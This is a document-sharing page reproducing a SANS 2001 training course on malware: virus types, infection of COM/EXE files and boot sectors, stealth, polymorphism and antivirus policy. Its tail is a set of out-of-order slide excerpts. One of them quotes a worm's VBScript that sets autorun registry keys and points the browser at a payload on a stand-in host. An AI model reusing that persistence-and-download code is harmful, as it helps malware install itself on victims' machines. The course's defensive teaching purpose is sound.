Tài liệu Malicious Software docx

27 303 0
Tài liệu Malicious Software docx

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

5 - 1 Encryption and Exploits - SANS ©2001 1 Malicious Software Security Essentials The SANS Institute This course on Malicious Software is part of the SANS Security Essentials series. Picture this - the trade press is all abuzz with warnings of a new killer virus, Child of Chernobyl. Recall that Chernobyl struck on April 26, 1999. In Korea alone, it affected as many as a million computers, causing more than $250 million in damages. The boss has just come down with a magazine article in hand and has told you to drop everything. You have three days to ensure the organization is ready before “Child of Chernobyl” day. Is this real or a hoax? What do you do to find out? How do you meet the boss' demands to get anti-viral software installed and updated as needed? Stay tuned for answers to these questions and more… Of course this course isn’t going to solve all your problems if you suddenly get hit and have no plan of action or procedures in place. So you are going to need to apply what you learn here. 5 - 2 Malicious Software - SANS ©2001 2 Objectives • Malicious code • Virus and hoax information • Virus types and methods • Organizational AV policy • Desktop anti-viral care and feeding At the completion of this course, the student will be familiar with these core concepts of anti-viral protection. What is malicious software? How does it spread? What are some of the characteristics of viruses? What is the difference between a virus and a hoax? Where can I go to get more information on them? Does my organization have an anti-viral policy? What does it say? Is it up-to-date? What is anti-viral software? What is involved in the care and feeding of desktop anti-viral software? 5 - 3 Malicious Software - SANS ©2001 3 Malicious Software (Malware) •Viruses •Worms • Trojan horses • Malicious applets • Majority Microsoft-specific Malware is a generic term for a number of different types of malicious code - viruses, worms, Trojan horses, and malicious applets. First, we will define what these things are. A virus is a piece of parasitic code (or program) written specifically to execute on behalf of the user without the user's permission (or knowledge). It is parasitic in that it attaches itself to files (or boot sectors) and then replicates, causing the spread to continue. Some viruses do little more than replicate and serve as a nuisance; others can do serious damage, such as affecting programs or degrading system performance (the virus payload). Never assume that a virus is harmless and leave it intact. We will look at the various types of viruses in the slides to follow. A worm is a self-contained program (or set of programs), that is able to spread functional copies of itself to other computer systems (usually via a network). Host-computer worms are entirely contained on their host computer. Host-computer worms that delete from one host upon propagation to a new host are called rabbits - they ‘hop’ around a network. Some worms run in multiple parts on many hosts. These worms are called network worms. A network worm with one coordinating segment and many client sub-segments is termed an octopus! Note: Malicious code is called a worm when it requires no specific action on the part of the user to enable infection and propagation. It just spreads. If the code requires the user to open an email or load a screen saver or take some other action, then it is called a virus. Trojan horses are programs with an intended action that is not documented or revealed. Typically, Trojan horses masquerade as some other harmless or trusted program. A well-known Trojan horse is Back Orifice. Malicious applets are applets that attack the local system of a web surfer and involve denial of service, invasion of privacy, and annoyance. Malicious applets are distinguished from attack applets that exploit vulnerabilities in the implementation of the Java security model. It is interesting to note that of the 60,000 or so known viruses, worms etc., about 55,000 of them are Microsoft-specific (Gene Spafford). Care is needed here because this statistic does not mean that systems such as Linux, Unix, or Mac are immune - there are just less examples found here. We usually think of infection via the network and floppy disks, but CDROMs are notorious for hosting malware. Just think of the damage that could be done with a music CD. How about infecting a Windows system just because auto-run is enabled? 5 - 4 Malicious Software - SANS ©2001 4 Virus Types • File infectors / Program viruses – Direct action – Memory resident – Cluster or File system virus • Potential to spread over networks Viruses are identified by the ways they infect computers. Usually, a virus falls into one of the following three categories: Program viruses, boot record infectors, or macro viruses. For the next few slides, we will focus on program viruses. A program virus gets activated when the program is executed (or run). The virus is loaded into the computer memory and then proceeds to wreak havoc. The results of the virus triggering may not be obvious immediately, as the virus may have a built-in delay (an event-triggered virus). First signs of infection can include files being saved with malformed or improper names. Program viruses are usually attached to files such as COM or EXE files, but can infect any executable or interpretable file - overlays, drivers, system files, or binary files. Examples also exist of viruses that infect C source code, such that the compiled executable is infected! Direct-action file infectors find one or more selected programs to infect each time the infected program is run. Resident viruses install to the system service area of RAM and infect new programs when they are run. Cluster viruses infect program files indirectly by modifying file system structures, such as the file allocation table. These viruses are loaded by the OS before the target program because the file system points to the virus first. Program file viruses need to be executed to activate and spread. As well as being run locally, users can run infected programs from servers, download and run infected files, or execute mail attachments. These viruses therefore have the potential to spread from program to program on a single host, and find their way to infect new programs on different hosts by being spread by network users. 5 - 5 Malicious Software - SANS ©2001 5 COM Program Infectors Prepended virus Appended virusCOM program START END COM VIRUS VIRUS JUMP COM 1 2 3 4 5 6 Now we’ll take a look at how program files are actually infected. COM file viruses attach themselves to their target in one of three ways - by prepending to the beginning, by appending to the end, or by overwriting part of the file. A prepending virus gains control when the first instruction of the infected COM file is executed. The virus runs and then passes control to the original program. Because of this, users may not notice anything different. An appending virus writes an instruction to jump at the first instruction in the file. This jump will take execution to the virus which later returns control to the COM program. Overwriting viruses simply write their code to the beginning of the file. These viruses therefore destroy the original program. More sophisticated overwriting viruses will make a copy of the portion that they overwrite, which can later be executed - all in an effort to remain covert. 5 - 6 Malicious Software - SANS ©2001 6 EXE Program Infectors Original EXE Program Infected EXE Program Header Load Image VCS VIP SIZE+V VIRUS START CS IP SIZE START START CS IP Executables consist of two parts - the header and the load image. The header contains, among other things, a pointer that points to the first instruction to be executed in the load image. The pointer (CS:IP) consists of a pair of values - the code segment (CS) and instruction pointer (IP). A header entry named SIZE stores the size of the load image. When the executable is infected, these header entries are altered. CS:IP becomes VCS:VIP and now points to the start of the appended viral code. SIZE increases to VSIZE and measures the size of the infected load image. Running the infected program will cause a jump to the virus load image. When completed, the viral code hands execution back to the original program. 5 - 7 Malicious Software - SANS ©2001 7 Virus Types (2) • Boot record infectors – Floppy boot record (FBR) – Master boot record (MBR) – DOS boot sector (DBS or PBR) – No network spreading potential • Multipartite – Potential to spread over networks The next virus we'll review is the boot infector. Every disk has a boot sector (regardless of whether or not it is actually bootable). When a computer is powered up, it looks for boot information according to a list provided by the computer BIOS. If any of the media in the drives specified in the BIOS list have a boot sector virus, the infection will get transferred to the boot drive. Once the infection is complete, the virus will get loaded into memory at startup. From there, the virus can be spread to every disk that is read after startup. Results of the infection can range from nuisance (if at all) to destruction of boot information, to a need for a complete format of the hard disk. Floppy disks contain a floppy boot record (FBR) which can harbor a virus. If a system is booted from such a floppy, the virus will load and infect the hard disk. Viruses on hard disks infect either the master boot record (MBR) or the Partition boot record (PBR) (sometimes called the DOS boot sector (DBS)). The MBR is the first place the BIOS looks when booting from a hard drive. If a virus is present, it can seize control of the hardware before the operating system even sees the light of day! PBR’s are executed after the bootstrap program in the MBR passes on control to the active partition. Operating system files that are present on a partition are loaded according to instructions in the PBR. Like the MBR infection, if a virus is present, it will be loaded before the operating system. Multipartite viruses are hybrids of boot infectors and program viruses. When executed as a program, boot sectors become infected, and vice versa - if multipartite-infected media are booted, program files get infected. Multipartite viruses provide a mechanism by which boot-sector viruses can get around on networks (they travel as program files). Boot-sector viruses cannot, on their own, infect across networks. This is because the network protocols do not support sector level operations. 5 - 8 Malicious Software - SANS ©2001 8 Virus Types (3) • Macro viruses – Targets are data files (e.g. *.doc) – Written in ‘macro languages’ (e.g. Melissa macro virus) – Visual Basic Editor • High network spreading potential! A macro virus is malicious code contained in a set of instructions that are included within an application, such as a word processor or spreadsheet. Unlike program viruses, which target executables, macro viruses target data files. Once the macro containing the infection is loaded onto your computer, it can infect other files (such as the normal.dot template for Microsoft Word) or cause itself to be propagated to other users automatically. A typical example is the Melissa macro. It caused a document containing the macro to be mailed electronically to other email users. The activated macro virus is limited only by the capabilities of the ‘macro language’ being used. Microsoft macros, written in Visual Basic, can access all host application features (e.g. Word) and many OS features (Windows). For example, in Word or Excel, try opening <Tools-Macro-Visual Basic Editor>. This opens a Visual Basic session enabling complex macro design. Imagine the potential damage from commands such as open, kill (delete), or rmdir! Macro viruses can spread as email attachments. Users open an infected attachment, the virus reads the address book, and mails itself on. For this reason, macro viruses have a huge potential to spread over networks. 5 - 9 Malicious Software - SANS ©2001 9 Virus Protection Techniques • Stealthing – virus attempts to hide or ‘cloak’ itself – hiding from anti-virus software – read stealthing – size stealthing • Need to scan memory to detect To avoid detection, or being picked up during an anti-virus scan, sophisticated viruses employ techniques to cover their presence or tracks. When active, the virus builds itself a “cloaking device”. Stealthing is achieved in a number of ways. The virus, through being memory resident (or hooked into system services), monitors system function calls. When a system call is made, it is intercepted by the virus and the virus tells a lie back to the system. In this way the system is deceived. Read stealthing involves monitoring attempts to read or write infected files (e.g. open, read, or close). If an infected program file is opened and read, the virus might give back to the system information from a backed-up copy of the original file - the infection is invisible! Another form of read stealthing monitors direct access to disk sectors. Even if low level calls are made to read the master boot record (e.g. BIOS Interrupt 13), the virus will interject. Size stealthing viruses monitor calls to directory entries and other parts of the file system. If the operating system were to inquire as to the size of an infected file, the call is intercepted and a lie is told. Stealthing prevents or hinders detection by examining disks. Anti-virus scanning software must therefore resort to scanning the system portions of RAM to detect these viruses. 5 - 10 Malicious Software - SANS ©2001 10 Virus Protection Techniques (2) • Polymorphism – poly = many, morph = form – encryption/decryption routines – mutation engines • Makes a scanner’s job a lot harder Now let's look at another protection technique - polymorphism. Polymorphism literally means many forms. A polymorphic virus therefore has many and varying forms - very biological indeed. If a virus is continually changing the way it looks, the job of the anti-virus scanner is made a lot more difficult. Viral polymorphism is achieved by using a mechanism that varies the code used to decrypt, or unsheath, the virus into its active state. The inactive virus is encrypted so that it cannot be easily detected by scanning for common strings (in fact, the code of the virus body will look like random data). If the encryption and decryption routines did not change from virus to virus, then a scanner could detect the virus by detecting the decryption code. Therefore, polymorphic viruses change their decryption routines on the fly. These changes might be made by a mutation engine built into the virus that is linked to a random number generator. Alternatively, some mechanism might exist to vary the sequence of instructions, or insert redundant instructions into the mutating routine. The decryption routines still perform their functions, but the way they look is different. The common cold is a biological example of viral polymorphism. However, the cold virus varies in both form and function. [...]... activity such as signature updates or manual scans 5 - 25 You Should Be Familiar With: • Malicious software • Virus and hoax information • Organizational AV policy • Desktop anti-viral principles, care and feeding Malicious Software - SANS ©2001 26 Now you now have answers to these questions: What is malicious software? How does it spread? What are some of the salient characteristics of viruses? What... • Configure at set-up • Test that software is running Malicious Software - SANS ©2001 23 Once acquired, what's involved in getting the anti-viral protection loaded on your computer? Well, anti-viral products are easily installed by running a self-extracting program and using a setup wizard that allows a good degree of customization For example, at set-up time, the software can be configured to perform... Desktop Care and Feeding • Configuration – Determined by your AV policy • Updating – AV software needs to be told about new viruses Malicious Software - SANS ©2001 24 Note that these topics are applicable to server environments, but for the moment, we will focus on clients Configuration - what do we need to do to "tune” the software? We’ll look at an example screenshot to see what configuration options are... ‘live-update’ features provided with software 5 - 24 Sample Configuration Options Malicious Software - SANS ©2001 25 This slide shows the configuration (Options) screen from Norton Anti-Virus 2000 running on a Windows 2000 computer Various options are available for system configuration Other products will have similar options The Auto-Protect option configures the software s behavior for real-time scanning... you go about getting effective anti-viral protection implemented in your organization 5 - 20 Anti-virus Software • Activity monitoring programs • Scanners • Integrity checkers • Remember “defense in depth” Malicious Software - SANS ©2001 21 What about virus protection? There are three main kinds of software protection techniques These are: Activity monitoring programs, virus scanners, and integrity checkers... Set regedit = CreateObject(“Wscript.Shell”) regedit.RegWrite “HKEY_LOCAL_MACHINE \Software\ Microsoft\Windows\ CurrentVersion\RunServices\Win32DLL”, dirwin&”\Win32DLL.vbs” regedit.RegWrite “HKCU \Software\ Microsoft\Internet Explorer\Main\Start Page”, “http://www.badpage/WIN-BUGSFIX.exe” regedit.RegWrite “HKEY_LOCAL_MACHINE \Software\ Microsoft\Windows\ CurrentVersion\Run\WIN-BUGSFIX.exe”, tempdir&”\WIN-BUGSFIX.exe”... configuration choices, but controls the software s behavior when conducting a manual scan of a system You should combine real-time and scheduled manual scans for the best protection The Bloodhound option allows you to configure the software s “activity monitor” feature, and how sensitive it is to behavior that may indicate virus activity The Email Protection option configures how the software integrates with popular... http://www.icsa.net/html/certification/ index.shtml Malicious Software - SANS ©2001 22 These are some of the choices we have depending on the number of computers we need to protect Unless you are infected and in an emergency state, it might be useful to review some options before you begin The protection plan for a single computer is trivial - download the software over the net or buy a copy on distribution... does it say? Is it up-to-date? What is involved in the care and feeding of desktop anti-viral software? More importantly, you should have enough of an understanding so that you can determine your next step towards implementing antiviral protection for your organization 5 - 26 Course Revision History Malicious Software - SANS ©2001 Authored by Fred Kerby – v1.0 v1.2 – revised by P Boyle – 3 June 2000... infected; (2) while more memory is usually a good thing, it will not cure a viral infection 5 - 17 What to do if You’re Infected • Contain the problem • Fix it • Share your experiences with others Malicious Software - SANS ©2001 18 If you see the signs above and don't have a current anti-viral program installed, what should you do? First, DO NOT PANIC Contain the problem by isolating the computer system . anti-viral software? What is involved in the care and feeding of desktop anti-viral software? 5 - 3 Malicious Software - SANS ©2001 3 Malicious Software. 1 Encryption and Exploits - SANS ©2001 1 Malicious Software Security Essentials The SANS Institute This course on Malicious Software is part of the SANS Security

Ngày đăng: 17/01/2014, 07:20

Từ khóa liên quan

Tài liệu cùng người dùng

  • Đang cập nhật ...

Tài liệu liên quan